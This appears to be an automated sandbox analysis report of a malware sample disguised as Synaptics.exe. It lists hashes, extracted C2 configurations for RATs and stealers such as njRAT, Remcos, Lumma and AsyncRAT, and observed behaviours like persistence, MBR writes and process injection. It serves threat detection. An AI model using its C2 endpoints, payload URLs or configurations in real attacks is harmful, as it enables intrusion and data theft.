asyncrat | 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/08/2026, 09:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Synaptics.exe
Size 764KB
Sample260802-ln4a3axtbt
SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
MD5 85e3d4ac5a6ef32fb93764c090ef32b7
SHA1 adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA512 a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
SSDEEP 12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
TLSH
T1A3F47D32F2D18437D1721A3D9C5BA3A5982ABE512E38794E3BE83E4C5F3D68138552D3
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
[email protected]
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

njrat

Version

im523

Botnet

TrupAshot

documents-elegant.at.ply.gg:54835

Mutex

4a87b5397a2736773782f50e108b2da4

Attributes

reg_key
4a87b5397a2736773782f50e108b2da4
splitter
|'|'|

Extracted

Family

lumma

https://houshan.shop
https://yunded.com/uwuz
https://sirhirssg.su/xzde
https://prebwle.su/xazd
https://rhussois.su/tatr
https://todoexy.su/xqts
https://acrislegt.su/tazd
https://averiryvx.su/zadr
https://cerasatvf.su/qtpd

Attributes

build_id
58482ce51891922bf0aef7e896596263ce2c09f9fec92dbc85

Extracted

Family

remcos

Version

5.3.0 Light

Botnet

Prueba

192.168.10.1:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-7OXI1T
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

redline

Botnet

LiveTraffoc

4.185.56.82:42687

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

89.84.63.139:6606

Mutex

caqxyzoxvrzhnrxwoc

Attributes

delay
1
install
false
install_folder
%AppData%
local_host
127.0.0.1

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Family: Xred
Xred is backdoor written in Delphi.
backdoor xred
Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral5/memory/1184-4524-0x00000000076C0000-0x00000000076D8000-memory.dmp	family_asyncrat

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral5/files/0x000700000002458f-307.dat	family_donutloader

RedLine payload 1 IoCs

resource	yara_rule
behavioral5/memory/1944-2806-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5956	powershell.exe
4168	powershell.exe
2544	powershell.EXE

Downloads MZ/PE file 19 IoCs

flow	pid	Process
83	1392	._cache_Synaptics.exe
23	208	._cache_Synaptics.exe
67	208	._cache_Synaptics.exe
79	2276	CFXBypass.exe
35	208	._cache_Synaptics.exe
35	208	._cache_Synaptics.exe
41	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
26	208	._cache_Synaptics.exe
24	1392	._cache_Synaptics.exe
73	208	._cache_Synaptics.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5272	netsh.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral5/files/0x00070000000245ca-2349.dat	revoked_cert_connectwise
behavioral5/memory/4344-2382-0x00000000055D0000-0x00000000058C2000-memory.dmp	revoked_cert_connectwise

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	444.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4a87b5397a2736773782f50e108b2da4.exe	conhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4a87b5397a2736773782f50e108b2da4.exe	conhost.exe

Executes dropped EXE 19 IoCs

pid	Process
4172	._cache_Synaptics.exe
2820	Synaptics.exe
2580	Synaptics.exe
208	._cache_Synaptics.exe
1392	._cache_Synaptics.exe
4188	WxWorkMultiOpen.exe
2432	444.exe
3220	Serials_Checker.exe
1036	alphaTweaks.exe
2544	donut.exe
2912	bsg.exe
3360	fmt_01.exe
4032	access.exe
4136	conhost.exe
2280	qt51crk.exe
3300	Install.exe
2276	CFXBypass.exe
3516	TrainJX2.exe
5964	keylogger.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Loads dropped DLL 2 IoCs

pid	Process
2820	Synaptics.exe
2820	Synaptics.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	Synaptics.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Serials_Checker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4a87b5397a2736773782f50e108b2da4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\conhost.exe\" .."	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\4a87b5397a2736773782f50e108b2da4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\conhost.exe\" .."	conhost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
24	raw.githubusercontent.com
26	raw.githubusercontent.com
76	pastebin.com
77	pastebin.com
210	raw.githubusercontent.com
301	raw.githubusercontent.com
11	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	conhost.exe
File opened for modification	C:\autorun.inf	conhost.exe
File created	D:\autorun.inf	conhost.exe
File created	F:\autorun.inf	conhost.exe
File opened for modification	F:\autorun.inf	conhost.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe
File created	C:\Windows\SysWOW64\Files\keylogger.exe	._cache_Synaptics.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\Files\byk4d5tg4nyo.exe	._cache_Synaptics.exe
File created	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral5/files/0x000b0000000242a0-5323.dat	SmartAssembly

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/files/0x000700000002463c-5120.dat	upx
behavioral5/memory/6532-5187-0x0000000000A80000-0x0000000002BF5000-memory.dmp	upx
behavioral5/memory/6532-5624-0x0000000000A80000-0x0000000002BF5000-memory.dmp	upx
behavioral5/files/0x000700000002467b-5669.dat	upx
behavioral5/memory/5440-5695-0x00000000007F0000-0x000000000132D000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral5/files/0x000700000001e746-2485.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7152	cmd.exe
2088	cmd.exe
3624	cmd.exe
6796	cmd.exe
4520	cmd.exe
6648	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5888	4360	WerFault.exe	184

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WxWorkMultiOpen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	access.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	conhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	444.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bsg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fmt_01.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qt51crk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrainJX2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral5/files/0x0007000000024613-4985.dat	nsis_installer_1
behavioral5/files/0x0007000000024613-4985.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
6856	taskkill.exe
6776	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7120	schtasks.exe
4052	schtasks.exe
6020	schtasks.exe
6056	schtasks.exe
5276	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3060	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
4188	WxWorkMultiOpen.exe
4188	WxWorkMultiOpen.exe
4188	WxWorkMultiOpen.exe
4188	WxWorkMultiOpen.exe
1036	alphaTweaks.exe
1036	alphaTweaks.exe
2544	powershell.EXE
2544	powershell.EXE
2544	powershell.EXE
2276	CFXBypass.exe
2276	CFXBypass.exe
2544	powershell.EXE
608	winlogon.exe
608	winlogon.exe
3516	TrainJX2.exe
3516	TrainJX2.exe
3516	TrainJX2.exe
3516	TrainJX2.exe
3516	TrainJX2.exe
3516	TrainJX2.exe
1972	wmiprvse.exe
1972	wmiprvse.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
608	winlogon.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe
4136	conhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4172	._cache_Synaptics.exe
Token: SeDebugPrivilege	208	._cache_Synaptics.exe
Token: SeDebugPrivilege	1392	._cache_Synaptics.exe
Token: SeDebugPrivilege	4188	WxWorkMultiOpen.exe
Token: SeDebugPrivilege	4188	WxWorkMultiOpen.exe
Token: SeDebugPrivilege	4188	WxWorkMultiOpen.exe
Token: SeDebugPrivilege	1036	alphaTweaks.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe
Token: 33	2688	WMIC.exe
Token: 34	2688	WMIC.exe
Token: 35	2688	WMIC.exe
Token: 36	2688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe
Token: 33	2688	WMIC.exe
Token: 34	2688	WMIC.exe
Token: 35	2688	WMIC.exe
Token: 36	2688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4864	WMIC.exe
Token: SeSecurityPrivilege	4864	WMIC.exe
Token: SeTakeOwnershipPrivilege	4864	WMIC.exe
Token: SeLoadDriverPrivilege	4864	WMIC.exe
Token: SeSystemProfilePrivilege	4864	WMIC.exe
Token: SeSystemtimePrivilege	4864	WMIC.exe
Token: SeProfSingleProcessPrivilege	4864	WMIC.exe
Token: SeIncBasePriorityPrivilege	4864	WMIC.exe
Token: SeCreatePagefilePrivilege	4864	WMIC.exe
Token: SeBackupPrivilege	4864	WMIC.exe
Token: SeRestorePrivilege	4864	WMIC.exe
Token: SeShutdownPrivilege	4864	WMIC.exe
Token: SeDebugPrivilege	4864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4864	WMIC.exe
Token: SeRemoteShutdownPrivilege	4864	WMIC.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
3060	EXCEL.EXE
5348	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4172	4148	Synaptics.exe	84
PID 4148 wrote to memory of 2820	4148	Synaptics.exe	86
PID 2820 wrote to memory of 208	2820	Synaptics.exe	89
PID 2580 wrote to memory of 1392	2580	Synaptics.exe	91
PID 208 wrote to memory of 4188	208	._cache_Synaptics.exe	99
PID 208 wrote to memory of 2432	208	._cache_Synaptics.exe	101
PID 208 wrote to memory of 3220	208	._cache_Synaptics.exe	102
PID 3220 wrote to memory of 3624	3220	Serials_Checker.exe	103
PID 208 wrote to memory of 1036	208	._cache_Synaptics.exe	105
PID 3624 wrote to memory of 1112	3624	cmd.exe	106
PID 208 wrote to memory of 2544	208	._cache_Synaptics.exe	108
PID 3624 wrote to memory of 2688	3624	cmd.exe	109
PID 3624 wrote to memory of 4864	3624	cmd.exe	111
PID 3624 wrote to memory of 1884	3624	cmd.exe	112
PID 3624 wrote to memory of 2276	3624	cmd.exe	113
PID 3624 wrote to memory of 4360	3624	cmd.exe	114
PID 3624 wrote to memory of 1084	3624	cmd.exe	115
